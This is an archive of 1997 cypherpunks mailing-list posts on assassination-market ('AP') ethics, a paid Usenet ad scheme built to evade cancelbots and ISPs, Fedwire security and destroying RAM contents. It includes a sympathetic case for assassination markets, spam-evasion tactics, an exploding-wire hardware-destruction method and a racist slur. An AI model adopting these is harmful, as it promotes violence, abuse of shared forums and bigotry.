>inevitible that governments will pass laws to restrict the distribution of
>certain kinds of information about individuals.  But of course this will
>not keep the information out of the hands of those governments themselves
>and other resourceful organizations.

Such laws will support monopoly use of personal information, and as such be
very unlikely to contribute to the good of society.

At CFP '97, David Brin gave a lunch talk where he argued against privacy
and in favor of accountability.  The example he used was the cop and the
driver, both with the secure recording TV cameras on their shoulders.  Of
course the crypto-anarchist view is you can use any information you can
get, and I can use strong privacy technologies to keep you from getting it.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 8 Apr 1997 16:47:25 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
Message-ID: <199704082346.TAA08641@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Anonymous writes:

>  There is a cost with
> anonymity: people take you less seriously, none of your reputation is
> on the line.  Anonmous persistent personas might be better as they
> allow reputation to be tracked.

  True, if your concern is to be listened to by those concerned about
reputation. If your aim is for your post to stand upon its own facts
and logic, however, then a 0-reputation persona may be preferable.
  There were a series of "Jim Bell is a loon." postings which I 
found to be uninformative in regard to the points they seemed to
want to ramrod past the readers by virtue of discounting the 
message via slamming the messenger.

> >   So the end result might well be, not the assassination of those
> > involved, but the lessening of their power by virtue of depleting
> > their funds, which leads to a more equal playing field.
> 
> I'm not sure this follows.
> 
> If a corporate can use it's wealth to influence other groups, for
> example by assasinating key employees of opposition company, it may
> well get richer as a result.

  I see the value of AP not in the assassination of others, but in 
the potential for a wide-ranging group of individuals to drain the
assets of their oppressors.
  Large grocery chains have a history of moving into an area, then
undercutting the little guys until they are forced out of business,
whereupon they raise their prices outrageously, unfettered by 
competition.
  AP might well serve as an avenue for the little guys to band 
together to target these operations and remove the profitability
of this mode of monopolistic attack.

  The TruthMonger multi-user persona might well serve as a similar
example of raising the cost of doing "character assassination"
business.
  I might well be Jim Bell, himself. However, rather than saying,
"Jim Bell is a loon, so we can discount all of TruthMonger's 
arguments.", one is forced to deal with the validity of the
arguments, facts, and logic in the posts.

  Certainly a persona with built-up reputation capital can
be an asset in many situations, but there is also a time
when anonymous communications can serve as a conduit for
weaning out those enamored with personality issues, and who
lack the discernment to judge the true content and logic
underlying a message.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 17:20:44 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
In-Reply-To: <199704082109.WAA00568@server.test.net>
Message-ID: <8P0u5D91w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:
> If a corporate can use it's wealth to influence other groups, for
> example by assasinating key employees of opposition company, it may
> well get richer as a result.

C2Net threatens its critics with lawsuits.  Does it get richer as
a result of its barratrous behavior?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 8 Apr 1997 17:53:26 -0700 (PDT)
To: cypherpunks@toad.com
Subject: congressman wants review of online banking system
Message-ID: <v030209b4af70971d4e16@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: oldbear@pop.tiac.net
Date: Tue, 08 Apr 1997 17:58:51 -0400
To: Digital Commerce Society of Boston <dcsb@ai.mit.edu>
From: The Old Bear <oldbear@arctos.com>
Subject: congressman wants review of online banking system
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: The Old Bear <oldbear@arctos.com>

CONGRESSMAN CALLS FOR REVIEW OF ONLINE BANKING

House Banking Committee Chairman James Leach (R-Iowa) has
asked the General Accounting Office to review whether the
Federal Reserve has sufficiently protected its Fedwire
funds transfer and security transfer system from electronic
trespassing.

Fedwire processes around 380,000 securities and funds
transfers totaling $1.6 trillion each day.

source: BNA Daily Report for Executives
        April 7, 1997


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 8 Apr 1997 21:30:35 -0700 (PDT)
To: freedom-knights@jetcafe.org
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <199704082129.QAA03372@manifold.algebra.com>
Message-ID: <wVcV5D93w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


> Another problem: what would prevent an anti-spam zealot from posting
> the following:
>
>     From: antispammer@usenet.cabal.com
>     Newsgroups: rec.sports.phishing,alt.fan.alice
>     Message-ID: <123@bob.server>
>
>     <something phishing-related>
>     --
>     Alice's ID# 123456  Drink Kaka Kola -- Kaka Cola is full of shit,
> 			do not drink it, I am just collecting $$ from
> 			stupid Alice, Hahaha!!!

Yes, Bob could post something like "drink kaka cola and die" and
"elect John M Gubor Sheriff if you want to be arrested".
Hopefully, most Bob's won't.

I guess the solution is for Alice's clients to pick regexps such
that _any_ publicity is good publicity - such as a URL or a 900 number.
If the regexp is "John Gilmore is a cocksucker", what can Bob add to it? :-)

> remember though that it will not be hard to modify newsreader clients to
> automatically killfile all articles matching Alice's regexps, or even to
> grab them automatically from her website. So Alice may discover that her
> business is not as effective.

Killfiles? So many scumbags whine about their inability to use them,
so they try to silence whomever they don't like.

Yes, if Alice just posts her regexps on a public Web page, a clueful
person can automatically fetch them and add them to his killfile or
even forge cancels for Bobs' articles that contain them.

I think this would be a stupid thing to do because Bobs' articles
may contain useful information besides Alice's ad. Also the regexp
might occur in a followup to Bob's article, which may contain
useful information.

But of course a reader is welcome to cut off his own nose to spite
and face and to killfile anything he likes - as long as he doesn't
prevent others from reading what they feel like reading.

Alice can try to keep her list of regexp's "confidential" and only
give it out to Bobs that are the prospective posters. I don't think
this would work. Someone would pose as a potential agent, obtain
the list of regexps, and post it (perhaps via an anonymous remailer).
So Alice might as well make it public.

Another possible candidate for killfile trigger is the "Alice ID".
Alice can make it harder by not using one (as I originally proposed)
but instead by recognizing the address "From:" header.

> marketing with e-cash. Suppose Alice runs an advertizing agency and gets
> paid to publicize certain messages of commercial or political nature.
>
> She sets up a Web page listing the catalog of regexps that she wishes to
> publicize. Something like:
>
> 1. Visit.*teens.*http://www.xxxfoo.bar
> 2. Elect.*John M. Grubor.*sheriff
> 4. For a drooling good time.*900-555-5555
> 3. Drink Kaka Cola
>
> and a price list for each regexp - say, $2 for posting this regexp in a
> moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm
> not sure if cross-posts should be discounted. Assuming there are several
> such Alices, the prices will be set by supply and demand.

Alice doesn't want to pay Bob for posting in alt.i.just.made.this.up.
Therefore Alice should provide the explicit list of newsgroups that
she monitors and for which she pays.

> Suppose Bob, in search of a few quick bucks, comes across Alice's site.
> We'd have to think of a protocol, but Alice assigns Bob an id which he
> must mention together with the regexps in order to get credit. Alice and
> Bob enter a contract. Bob puts one or more of Alice's regexps in his
> Usenet articles - most likely in the .signature. For example:
>
>    From: bob
>    Newsgroups: rec.sports.phishing,alt.fan.alice
>    Message-ID: <123@bob.server>
>    <something phishing-related>
>    --
>    Elect John M. Grubor sheriff!!!            Alice's ID# 123456
>    I am Bob! I am Bob! I am Bob the Poster!   Drink Kaka Kola

On the second thought, Alice may not need a prior contract with Bob,
nor the ID#. She can just list the regexps she's trying to promote
on her web page and go promiscuously by the address in the From: header.

> Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the
> regexps that she is paid to promote. When she encounters Bob's article,
> it extracts Bob's ID and the Message-Id, counts the distinct regexps, and
> the newsgroups, and credits Bob's account.
>
> If Carol follows up on Bob's article and quotes Bob's regexps and ID#,
> then Bob gets paid again. If somehow an article contains the ID# of two
> or more of Alice's agents, they split the fee.

And if we forego the ID# and just look at the From: header then it's
simpler: if Carol quotes Bob's article and includes a regexp, then Carol
gets an e-mail from Alice with some e-cash, perhaps sent via an
anonymous remailer.

One problem is that a lot of people put fake addresses in the from:
fields. Why waste good e-cash on e-mail to addresses that bounce?

What Alice could do is send an e-mail like
 "Your article with message-id blah posted to blah contains
  a message that I'm paying to promote. Here is a cookie;
  if you return this cookie, I'll send you $n e-cash."
If it bounces, or if the recipient never sends back the cookie - too bad.

> Alice's contract can also specify that if a third party forges a cancel
> within a week for Bob's Usenet article containing the regexp, then Alice
> will pay nothing and let Bob sue the forger for the lost income. (This
> may become moot as more and more ISPs ignore forged cancels.) This gives
> Bob the insentive to spam intelligently - not to trigger any cancelbots
> and not to have his plug pulled by his ISP.

After Alice's bot finds an eligible Usenet article, it should wait
a week or so to see if it was cancelled or superseded before issuing a
payment. If it's cancelled, then instead of payment it should send
a notice saying:
 "Your article with message-id blah posted to blah contains
  a message that I'm paying to promote. I would have paid
  you $n e-cash, but unfortunately a cancel has been issued
  for your article: <quote cancel>"
That should get Bob pretty mad at the 3rd party canceller. :-)

> Alice can also put some reasonable caps on the number of repetitions
> because if Bob posts the same regexp 10,000 times, the marginal exposure
> is less from Bob than from a newbie Carol. Again, if there are several
> such Alices, the market will take care of negotiating such details.

Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts;
when it reaches 100, stop paying this poster. I think 100 mentions by
the same poster is way past saturation.

Ross: yes, unfortunately the spambot is on the back burner right now,
but I definitely will finish it eventually.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 8 Apr 1997 20:38:54 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: congressman wants review of online banking system
In-Reply-To: <v030209b4af70971d4e16@[139.167.130.246]>
Message-ID: <334B0CB1.543@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:
 
> House Banking Committee Chairman James Leach (R-Iowa) has
> asked the General Accounting Office to review whether the
> Federal Reserve has sufficiently protected its Fedwire
> funds transfer and security transfer system from electronic
> trespassing.
> 
> Fedwire processes around 380,000 securities and funds
> transfers totaling $1.6 trillion each day.

  I busted their code.
  Anyone need an extra 'trill'?
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 8 Apr 1997 19:44:32 -0700 (PDT)
To: devnull@manifold.algebra.com
Subject: Re: AP Revisited
In-Reply-To: <m67u5D90w165w@bwalk.dm.com>
Message-ID: <199704090241.VAA06555@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> paul@fatmans.demon.co.uk writes:
> > > 	Like Insurance? By purchasing insurance you are in effect
> > > betting that you _will_ have an accident that does more damage than
> > > you have paid in premiums.
> > >
> > > 	Really contorted huh?
> >
> > Hmm, I hadn`t thought of that, this is an interesting way to see AP:
> > Taking out a life insurance policy on someone else...
> 
> But of course - entities that sell insurance/write options refer to
> their business as "making bets" and that's exactly what it is.
> 
> By the way a lot of people in the finance industry are compulsive
> gamblers who lose tremendous amounts of money on horses, sports
> events, Atlantic City, etc.

I have a feeling that thay also lose tremendous amounts of money
in their finance jobs. The good news is that it is usually not their 
own money.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 8 Apr 1997 20:26:47 -0700 (PDT)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
In-Reply-To: <8P0u5D91w165w@bwalk.dm.com>
Message-ID: <199704090250.VAA02316@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Adam Back <aba@dcs.ex.ac.uk> writes:
> > If a corporate can use it's wealth to influence other groups, for
> > example by assasinating key employees of opposition company, it may
> > well get richer as a result.
> C2Net threatens its critics with lawsuits.  Does it get richer as
> a result of its barratrous behavior?

	Why don't you post those bugs/security holes you found? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Tue, 8 Apr 1997 22:06:55 -0700 (PDT)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Anti-Spambot: what algorithm should be used?
Message-ID: <199704090507.WAA27588@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About  8 Apr 97 at 21:05, Dr.Dimitri Vulis KOTM wrote:

On or About  8 Apr 97 at 21:05, I think it was Igor who wrote:

> > will pay nothing and let Bob sue the forger for the lost income.
> > (This may become moot as more and more ISPs ignore forged
> > cancels.) This gives Bob the insentive to spam intelligently - not
> > to trigger any cancelbots and not to have his plug pulled by his
> > ISP.

Right, but this is where a tool comes in that lets you post a
seemingly "on topic" post to hundreds of newsgroups with the "Drink
Kaka Kola, Elect John, etc." in the sig file.  This also makes it
harder for an article to be canceled, I imagine.  Or you can do it by 
hand.  I am sure that in a 40 hour week I could post seemingly 
"On-Topic" to many newsgroups.  Hell, I'm doing this on a minor scale 
right now.

Bob just needs to be *really* smart.  And if he has a good 
relaitionship with his small, local ISP, then he can proceed as 
normal.  Hell, I never get complaints anymore.

Yet, every time I post I advertise my company.

Then: On or About  8 Apr 97 at 21:05, Dr.Dimitri Vulis KOTM wrote:

> After Alice's bot finds an eligible Usenet article, it should wait a
> week or so to see if it was cancelled or superseded before issuing a
> payment. If it's cancelled, then instead of payment it should send a
> notice saying:
>  "Your article with message-id blah posted to blah contains
>   a message that I'm paying to promote. I would have paid
>   you $n e-cash, but unfortunately a cancel has been issued
>   for your article: <quote cancel>"
> That should get Bob pretty mad at the 3rd party canceller. :-)

Boy, I would be pissed off if I was Bob.  This is definitely the scary 
end of the internet.  Most people will never even know about this rash of 
first amendment violations, that you are calling "forged cancels" and 
"plug pulling".

I am so glad I fell into these groups when I joined the net just 
about 20 months ago.  Funny thing is, it's right where I belong.  
I always speak my mind and have been known as a trouble maker in the 
workplace.

> Alice needs to maintain a map of (poster,newsgroup,regexp) to #
> posts; when it reaches 100, stop paying this poster. I think 100
> mentions by the same poster is way past saturation.
> 
> Ross: yes, unfortunately the spambot is on the back burner right
> now, but I definitely will finish it eventually.

Well, it seems to me that this is where this conversation is leading. 
The technology you are talking about here, without talking about it,
is quite exciting to me.  I'll be reading.

Still looking for HP Vectra RS input,

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 8 Apr 1997 15:24:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Adam Back speaks out on AP / was: Jim Bell? Never heard of him.
In-Reply-To: <199704080100.VAA21197@dhp.com>
Message-ID: <199704082109.WAA00568@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous writes:
> Adam Back wrote:
> > It is almost as if they are afraid to discuss openly their views on
> > the subject.
> 
>   This doesn't stop them from castigating those who post 
> anonymously in regard to this subject.
>
>   (As if not wanting to face 20 armed government agents who
> consider you "armed and dangerous" {i.e. shoot first and ask
> questions later} somehow negates their facts and logic.)

A very good reason to post anonymously, agreed.  There is a cost with
anonymity: people take you less seriously, none of your reputation is
on the line.  Anonmous persistent personas might be better as they
allow reputation to be tracked.  However persistent personas open
themselves to writing style analysis attacks.

> > Democracy is one person one vote, however this is skewed in most
> > democracies by numerous factors: corporate lobbying, media influence,
> > and people who are easily influenced by media.
> > 
> > AP is one $ one vote.  Theoretically rich people could out-vote their
> > rivals. 
> 
>   So the end result might well be, not the assassination of those
> involved, but the lessening of their power by virtue of depleting
> their funds, which leads to a more equal playing field.

I'm not sure this follows.

If a corporate can use it's wealth to influence other groups, for
example by assasinating key employees of opposition company, it may
well get richer as a result.  People do things for their own benefit,
and to the extent that their predictions are accurate, those who
participate will fare better than those who do not (modulo the chance
of reprisals, if it is apparent who is doing the attacking, and if the
attacked organisation survives to retaliate).

> > We have no way of knowing whether the outcome would be "a good
> > thing" by any chosen metric.
> 
>   But the results would be a far cry more interesting than
> reruns of Gilligan's Island.

Yeah, but if the premises required for AP to exist at all are true
(government-proof anonymous payment system), and if it doesn't turn
out to be much fun, you'll have a job getting out of it.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Tue, 8 Apr 1997 19:38:30 -0700 (PDT)
To: camcc@abraxis.com>
Subject: Re: Is Cynthia H. Brown "pissing up a rope"?
In-Reply-To: <3349A7E3.2D0F@sk.sympatico.ca>
Message-ID: <199704090238.WAA01165@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 08 Apr 1997, Alec wrote:
> At 08:05 PM 4/7/97 -0600, Toto wrote:
> 
> |> Results pasted in from http://www.nbceurope.com/
> |>                   85% said no...
> |>                   while 15% said yes.
> 
> |  Is Cynthia H. Brown pissing up a rope?

Unfortunately I don't have enough port in the house to accomplish that
feat.  (Plus, I'm lacking the equipment to aim properly :-))

> |                  Toto said yes, 85 times.
> |                  Cynthia said no, 15 times.

And subsequently:

<thud>
<sound of sirens>
Your Honour, I was just defending myself...

> |  Not that I'm a troublemaker...
> 
> That's not what I'd call you.
> 
> Sounds like a typical Toto evening out with a lady.

Cynthia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 8 Apr 1997 20:41:34 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
Message-ID: <199704090341.XAA09733@pig.die.com>
MIME-Version: 1.0
Content-Type: text


Lucky Green wrote :

> It is true that methods exist to recover data from RAM even after it has
> been "erased". First and foremost, there are physical processes taking
> place in the substrate that cause permanent changes in the cells containing
> the data. In general, if there is a chip left to analyze, the data that
> used to be stored within can be obtained. [The particular opponent may of
> course choose not to spend the funds required to perform the analysis.]
> 
> The only way to reliably remove data from RAM is to destroy the substrate.
> I recently investigated various methods of doing so for a certain high
> security application. My research showed that the only portable (and truly
> reliable) solution for this task are micro explosives. Perhaps
> unsurprisingly, the US uses explosives to protect the electronics in
> nuclear weapons. The local ATF office informed me that any device using
> explosives to destroy its contents would be considered a booby trap, even
> if the explosion would be contained to the inside of device and therefore
> not pose a danger to the operator.
> 
	I have heard about thermite devices being used for this in 
the sort of applications that might warrent it.   Granted that this
is a royal fire hazard unless very carefully engineered, but at least
it is not an explosive per se....  

	One can reduce this effect somewhat by implementing software or
hardware methods that complement the key or whatever you are protecting
every few seconds.   But I can testify, as someone who has done hardware
design, that the memory effect is real and very pronounced... not a
myth.


							Dave Emery
							die@die.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: shadow@count04.mry.scruznet.com
Date: Tue, 8 Apr 1997 23:50:44 -0700 (PDT)
To: Dave Emery <die@pig.die.com>
Subject: on micro-explosions was Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <199704090341.XAA09733@pig.die.com>
Message-ID: <199704090646.XAA11517@count04.mry.scruznet.com>
MIME-Version: 1.0
Content-Type: text/plain


instead of minute quantities of explosives one could use extremely fine wires
suspended a small distance from the substrate to be destroyed.
Feed a short(below 3 ms) high current pulse(figure a 400w/s photoflash supply)
the wavefront from the exploding wire will be in the supersonic region.
this method may be used in lieu of explosives to achieve the effect of
a high order detonation. gee wonder if the
atf will forbid us capacitors and wires now :)

     cheers
    




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 8 Apr 1997 22:11:29 -0700 (PDT)
To: devnull@manifold.algebra.com
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <wVcV5D93w165w@bwalk.dm.com>
Message-ID: <199704090509.AAA08271@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> > Another problem: what would prevent an anti-spam zealot from posting
> > the following:
> >
> >     From: antispammer@usenet.cabal.com
> >     Newsgroups: rec.sports.phishing,alt.fan.alice
> >     Message-ID: <123@bob.server>
> >
> >     <something phishing-related>
> >     --
> >     Alice's ID# 123456  Drink Kaka Kola -- Kaka Cola is full of shit,
> > 			do not drink it, I am just collecting $$ from
> > 			stupid Alice, Hahaha!!!
> 
> Yes, Bob could post something like "drink kaka cola and die" and
> "elect John M Gubor Sheriff if you want to be arrested".
> Hopefully, most Bob's won't.

That's questionable at best. Also, there can be so much ingenuity in
making the ads appear unreadable, that it would be hard to watch who
is good and who is bad.

For example, how about this signature that purports to advertise
http://www.kaka-kola.com:

^L^L^L
-----------------------------------------------------------------------
= please ignore contents of this sig -- skdjhgf asdgf -- == <blink>
<color=#000000> = http://www.devnull.com http://acd http://www.www.www
http://www.kaka-kola.com http://xxx == </color></blink> == this sig
intentionally made unreadable to cheat alice ==
-----------------------------------------------------------------------

> I guess the solution is for Alice's clients to pick regexps such
> that _any_ publicity is good publicity - such as a URL or a 900 number.
> If the regexp is "John Gilmore is a cocksucker", what can Bob add to it? :-)

See above

> > remember though that it will not be hard to modify newsreader clients to
> > automatically killfile all articles matching Alice's regexps, or even to
> > grab them automatically from her website. So Alice may discover that her
> > business is not as effective.
> 
> Killfiles? So many scumbags whine about their inability to use them,
> so they try to silence whomever they don't like.

> Yes, if Alice just posts her regexps on a public Web page, a clueful
> person can automatically fetch them and add them to his killfile or
> even forge cancels for Bobs' articles that contain them.

> I think this would be a stupid thing to do because Bobs' articles
> may contain useful information besides Alice's ad. Also the regexp
> might occur in a followup to Bob's article, which may contain
> useful information.

Well, one can modify newsreaders to delete only lines that match
the regexps, but show other parts of the article. That may be one
of the pieces of functionailty of libkillfile.so that I once mentioned.

> Alice can try to keep her list of regexp's "confidential" and only
> give it out to Bobs that are the prospective posters. I don't think
> this would work. Someone would pose as a potential agent, obtain
> the list of regexps, and post it (perhaps via an anonymous remailer).
> So Alice might as well make it public.

Agree.
 
> Another possible candidate for killfile trigger is the "Alice ID".
> Alice can make it harder by not using one (as I originally proposed)
> but instead by recognizing the address "From:" header.

Another thing Alice can do is to make Bob post an encrypted ID, such
that each time it is encrypted with a separate "session" key. The
keys do not have to be that long.

Instead of ID Bob can encrypt the address to send the money to, and
possibly his public key. That generally adds robustness to the system,
since there would be no known person to complain about.

Bob can also ask Alice to generate a lot of IDs for him -- like 1000 or
so -- to use them later. Alice would have to keep a database of 
ID <---> email address correspondence.

Alice can set up an autoresponder bot getid@alice.com that would generate
IDs and send them back to requestors.

> On the second thought, Alice may not need a prior contract with Bob,
> nor the ID#. She can just list the regexps she's trying to promote
> on her web page and go promiscuously by the address in the From: header.
> 
> And if we forego the ID# and just look at the From: header then it's
> simpler: if Carol quotes Bob's article and includes a regexp, then Carol
> gets an e-mail from Alice with some e-cash, perhaps sent via an
> anonymous remailer.
> 
> One problem is that a lot of people put fake addresses in the from:
> fields. Why waste good e-cash on e-mail to addresses that bounce?

See above.
 
> What Alice could do is send an e-mail like
>  "Your article with message-id blah posted to blah contains
>   a message that I'm paying to promote. Here is a cookie;
>   if you return this cookie, I'll send you $n e-cash."
> If it bounces, or if the recipient never sends back the cookie - too bad.

If it bounces, Alice would usually get the money back in the bounce message.

Can't alice put a stop on a piece of digital cash? I am not sure, but it
may be possible. It is surely possible with adding one more trusted party,
and some more signing and encryption, anyway.

> > Alice's contract can also specify that if a third party forges a cancel
> > within a week for Bob's Usenet article containing the regexp, then Alice
> > will pay nothing and let Bob sue the forger for the lost income. (This
> > may become moot as more and more ISPs ignore forged cancels.) This gives
> > Bob the insentive to spam intelligently - not to trigger any cancelbots
> > and not to have his plug pulled by his ISP.
> 
> After Alice's bot finds an eligible Usenet article, it should wait
> a week or so to see if it was cancelled or superseded before issuing a
> payment. If it's cancelled, then instead of payment it should send
> a notice saying:
>  "Your article with message-id blah posted to blah contains
>   a message that I'm paying to promote. I would have paid
>   you $n e-cash, but unfortunately a cancel has been issued
>   for your article: <quote cancel>"
> That should get Bob pretty mad at the 3rd party canceller. :-)

Alice can then cheat and issue the cancels herself. Since most spammers
are crooks, I expect that to happen a lot. No good.

> > Alice can also put some reasonable caps on the number of repetitions
> > because if Bob posts the same regexp 10,000 times, the marginal exposure
> > is less from Bob than from a newbie Carol. Again, if there are several
> > such Alices, the market will take care of negotiating such details.
> 
> Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts;
> when it reaches 100, stop paying this poster. I think 100 mentions by
> the same poster is way past saturation.

I can generate a gazillion posters from algebra.com.

Of course, Alice can also introduce per-domain restrictions.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 07:59:46 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Anti-Spambot: what algorithm should be used?
In-Reply-To: <wVcV5D93w165w@bwalk.dm.com>
Message-ID: <334B36BD.7677@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Killfiles? So many scumbags whine about their inability to use them,
> so they try to silence whomever they don't like.

  Or they have them and still try to silence those whom they
don't like.
 
> Yes, if Alice just posts her regexps on a public Web page, a clueful
> person can automatically fetch them and add them to his killfile or
> even forge cancels for Bobs' articles that contain them.
> 
> I think this would be a stupid thing to do because Bobs' articles
> may contain useful information besides Alice's ad. Also the regexp
> might occur in a followup to Bob's article, which may contain
> useful information.

  Some CypherPunks regularly brag about the size of their
killfiles.
  To me, this is not a far cry from bragging about not reading
anything written by niggers, "Cause they ain't not got nothing
to say less'n they say they is goin' back to Africa."
 
> But of course a reader is welcome to cut off his own nose to spite
> and face and to killfile anything he likes - as long as he doesn't
> prevent others from reading what they feel like reading.

  During the censorship experiment on the list, many of the
list members showed their flat-foreheaded tendencies by calling
for the censoring of anyone who deviated from the norm.
 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 9 Apr 1997 08:00:04 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Another Article on Jim Bell from the Oregano
In-Reply-To: <3.0.1.32.19970404195432.03028840@mail.teleport.com>
Message-ID: <334B4C0D.3FF0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> The government tried to prove that he was trying to manufacture
> meth, but was unable and Jim pleaded guilty to a lesser charge.

  Misleading. He pled guilty to a 'different' charge, which had 
nothing to do with 'drugs', but was some EPA type of thing, as
I recall.

> >(Of course,
> >what are prohibited molecules and non-prohibited molecules is an ever
> >changing maze.  It is pretty hard to keep track of what is "legal" and
> >"illegal" in that area.  Seems to be "whatever we say it is".
> 
> It's actually quite straightforward - it all depends on the
> intent of the molecules being arrested.  If they're just loitering around,
> it's not illegal, but if they're loitering with intent to commit public
> intoxication, or conspiring to form an illegal syndicate, you may be
> in big trouble....

  I bought some drugs once, intending to try them.
  Then I changed my mind...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 9 Apr 1997 03:27:36 -0700 (PDT)
To: Sergey Goldgaber <sergey@el.net>
Subject: Re: Jim Bell raid
In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca>
Message-ID: <3.0.1.32.19970409033358.02744600@postoffice.pacbell.net>
MIME-Version: 1.0
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-----BEGIN PGP SIGNED MESSAGE-----

At 04:56 AM 4/9/97 -0400, Sergey Goldgaber wrote:
>The search warrant was not made public on the cpunks list.  As you can see
>form the above excerpt, I was commenting on the "IRS Inspection" report,
which
>was virtually the first description of Jim Bell's arrest, long before there
>were even requests for information on the procedures for obtaining the
>search warrants, etc...

I realize that we're talking about net-time, but "long before" seems like a
